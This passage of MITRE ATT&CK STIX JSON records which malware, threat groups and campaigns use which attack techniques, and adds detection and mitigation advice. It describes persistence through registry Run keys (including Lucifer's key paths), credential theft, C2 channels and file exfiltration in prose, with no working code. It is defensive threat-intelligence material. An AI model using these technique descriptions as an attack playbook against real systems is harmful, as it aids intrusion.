Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}], "modified": "2021-04-07T18:07:47.945Z", "description": "[Hildegard](https://attack.mitre.org/software/S0601) has used an IRC channel for C2 communications.(Citation: Unit 42 Hildegard Malware)", "relationship_type": "uses", "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--24fadb92-7a18-450b-b4ca-f5dd019ce54c", "created": "2022-06-01T21:36:00.639Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Forcepoint BITTER Pakistan Oct 2016", "url": "https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan", "description": "Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has used DDNS for C2 communications.(Citation: Forcepoint BITTER Pakistan Oct 2016)", "modified": "2022-06-01T21:36:00.639Z", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25003c87-d031-4f1b-8204-9223f7426d28", "type": "relationship", "created": "2020-01-24T18:15:06.961Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T18:15:06.962Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25022051-be2f-4cc2-b61a-3de03fc3e8d6", "type": "relationship", "created": "2020-11-16T20:36:49.663Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}], "modified": "2020-11-16T20:36:49.663Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can persist by setting Registry key values <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic</code> and <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic</code>.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--250638f3-ac26-4aec-adf4-9e705822b621", "type": "relationship", "created": "2020-09-11T14:56:37.214Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-09-11T14:56:37.214Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) can create a scheduled task for persistence.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--250af0e7-a45e-4cbe-9cad-5445e8669022", "type": "relationship", "created": "2020-11-23T18:34:50.090Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", "url": "https://github.com/AlessandroZ/LaZagne", "source_name": "GitHub LaZagne Dec 2018"}], "modified": "2020-11-23T18:34:50.090Z", "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from Vault files.(Citation: GitHub LaZagne Dec 2018)\t", "relationship_type": "uses", "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--251b010d-270f-44a3-8546-ce7cde631ab7", "type": "relationship", "created": "2021-07-26T14:57:31.448Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB GrimAgent July 2021", "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}], "modified": "2021-10-15T16:15:20.883Z", "description": "[GrimAgent](https://attack.mitre.org/software/S0632) can set persistence with a Registry run key.(Citation: Group IB GrimAgent July 2021)", "relationship_type": "uses", "source_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--251c7f06-a012-4fe1-9520-21f051a47255", "type": "relationship", "created": "2021-07-26T15:09:24.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB GrimAgent July 2021", "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}], "modified": "2021-10-14T18:59:39.062Z", "description": "[GrimAgent](https://attack.mitre.org/software/S0632) can use the Windows Command Shell to execute commands, including its own removal.(Citation: Group IB GrimAgent July 2021)", "relationship_type": "uses", "source_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--251e58cb-cd9d-49d3-81bf-b3db94b50375", "created": "2024-03-19T18:53:42.653Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T20:05:49.365Z", "description": "[PACEMAKER](https://attack.mitre.org/software/S1109) has the ability to extract credentials from OS memory.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--647215dd-29a6-4528-b354-ca8b5e08fca1", "target_ref": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--252407c3-6cc6-4e80-b7ac-73b2e63887b8", "created": "2022-03-30T14:26:51.845Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor logged domain name system (DNS) data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. ", "modified": "2022-07-13T13:15:43.118Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--252c0e02-0da6-4812-b147-81d9cfb3c998", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "source_name": "ESET Sednit Part 2"}], "modified": "2020-03-20T21:51:47.206Z", "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) used a proxy server between victims and the C2 server.(Citation: ESET Sednit Part 2)", "relationship_type": "uses", "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2533b541-40a6-4849-a93f-2276c4feefd2", "created": "2022-03-30T14:26:51.835Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "TechNet Autoruns", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."}, {"source_name": "TechNet Forum Scheduled Task Operational Setting", "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly constructed scheduled jobs. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. On Windows, enable the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service where several events will then be logged on scheduled task activity, including:(Citation: TechNet Forum Scheduled Task Operational Setting)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)", "modified": "2022-04-16T20:37:46.796Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--25398304-d7db-4180-864c-e123cd2ba041", "created": "2022-06-27T15:46:43.044Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CrowdStrike IceApple May 2022", "url": "https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf", "description": "CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[IceApple](https://attack.mitre.org/software/S1022) .NET assemblies have used `App_Web_` in their file names to appear legitimate.(Citation: CrowdStrike IceApple May 2022)", "modified": "2022-06-27T15:52:07.308Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--253ab30c-ec7c-42bc-a27d-984722c59a98", "type": "relationship", "created": "2019-04-10T15:21:29.500Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "source_name": "Symantec Elfin Mar 2019"}], "modified": "2019-06-28T15:05:33.953Z", "description": "(Citation: Symantec Elfin Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--253b56a5-232f-44bc-af4d-85ccc12a0577", "created": "2017-05-31T21:33:27.080Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}, {"source_name": "TrendMicro Gamaredon April 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."}, {"source_name": "Palo Alto Gamaredon Feb 2017", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017."}, {"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has downloaded additional malware and tools onto a compromised host.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Microsoft Actinium February 2022)", "modified": "2022-04-15T13:44:10.765Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25407fd4-3940-4446-9c17-6eebe902dbdf", "type": "relationship", "created": "2019-10-08T19:55:33.752Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T12:37:53.039Z", "description": "Administrators can block end-user consent to OAuth applications, disabling users from authorizing third-party apps through OAuth 2.0 and forcing administrative consent for all requests. They can also block end-user registration of applications by their users, to reduce risk. A Cloud Access Security Broker can also be used to ban applications.\n\nAzure offers a couple of enterprise policy settings in the Azure Management Portal that may help:\n\n\"Users -> User settings -> App registrations: Users can register applications\" can be set to \"no\" to prevent users from registering new applications. \n\"Enterprise applications -> User settings -> Enterprise applications: Users can consent to apps accessing company data on their behalf\" can be set to \"no\" to prevent users from consenting to allow third-party multi-tenant applications", "relationship_type": "mitigates", "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--25424268-9ffb-40ed-8335-249deea323ca", "created": "2021-04-14T14:03:30.708Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye Operation Saffron Rose 2013", "description": "Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.", "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-operation-saffron-rose.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-09T16:46:55.722Z", "description": "[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used various social media channels to spearphish victims.(Citation: FireEye Operation Saffron Rose 2013)", "relationship_type": "uses", "source_ref": "intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7", "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--254293f3-36af-41fa-9ce8-ea584258f3ba", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T21:59:39.991Z", "description": "Monitor for changes made to files that may establish persistence by executing malicious content triggered by user inactivity.\n\nNote: Although there are no standard events for file modification, Windows Event ID 4663 (An Attempt Was Made to Access An Object) can be used to alert on attempted accesses of screensaver files (typically ending in a file extension of .scr). ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2542a753-4cfb-408f-98a8-e1b11f1bce10", "created": "2023-03-31T17:42:41.938Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Dragos Crashoverride 2018", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T17:57:43.176Z", "description": "During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used various MS-SQL stored procedures.(Citation: Dragos Crashoverride 2018)", "relationship_type": "uses", "source_ref": "campaign--aa73efef-1418-4dbe-b43c-87a498e97234", "target_ref": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--25446e74-d461-4113-8ff9-9d6984696680", "created": "2022-10-05T15:09:29.047Z", "revoked": false, "external_references": [{"source_name": "ESET Operation Spalax Jan 2021", "description": "M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.", "url": "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-05T15:09:29.047Z", "description": "For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used a variety of packers and droppers to decrypt malicious payloads.(Citation: ESET Operation Spalax Jan 2021)", "relationship_type": "uses", "source_ref": "campaign--4c840263-bbda-440d-a22b-674679ddebf1", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2545e3a8-751e-443b-ad4e-da1843014f6b", "created": "2024-03-28T15:48:56.905Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye TRITON 2019", "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T15:13:37.828Z", "description": "During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used staging folders that are infrequently used by legitimate users or processes to store data for exfiltration and tool deployment.(Citation: FireEye TRITON 2019)", "relationship_type": "uses", "source_ref": "campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--254dea59-0bd6-4966-9eff-d5997a7e91c1", "created": "2024-02-13T17:57:05.175Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T16:11:46.320Z", "description": "[RAPIDPULSE](https://attack.mitre.org/software/S1113) listens for specific HTTP query parameters in received communications. If specific parameters match, a hard-coded RC4 key is used to decrypt the HTTP query paremter <code>hmacTime</code>. This decrypts to a filename that is then open, read, encrypted with the same RC4 key, base64-encoded, written to standard out, then passed as a response to the HTTP request.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "malware--880f7b3e-ad27-4158-8b03-d44c9357950b", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--25527270-616e-4c53-a85a-03fc0b1e9a96", "created": "2022-08-19T19:49:03.537Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Google EXOTIC LILY March 2022", "url": "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used the e-mail notification features of legitimate file sharing services for spearphishing.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-19T19:49:03.537Z", "relationship_type": "uses", "source_ref": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af", "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2552aaa5-2cd7-4940-a428-220412851242", "type": "relationship", "created": "2019-01-30T14:26:43.168Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group", "source_name": "Symantec Gallmaker Oct 2018"}], "modified": "2020-03-17T14:29:24.880Z", "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) sent victims a lure document with a warning that asked victims to \u201cenable content\u201d for execution.(Citation: Symantec Gallmaker Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--255347ba-c359-4a79-af44-089a502c6e9b", "type": "relationship", "created": "2021-04-08T18:09:43.247Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua Kinsing April 2020", "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}], "modified": "2021-04-08T18:09:43.247Z", "description": "[Kinsing](https://attack.mitre.org/software/S0599) has searched for private keys.(Citation: Aqua Kinsing April 2020)", "relationship_type": "uses", "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25557d9f-bfa0-4da7-8352-ab56b82b475b", "type": "relationship", "created": "2019-02-21T21:17:37.825Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT39 Jan 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", "description": "Hawley et al. (2019, January 29). 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(2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}], "modified": "2021-07-26T14:56:10.943Z", "description": "[GrimAgent](https://attack.mitre.org/software/S0632) has the ability to set persistence using the 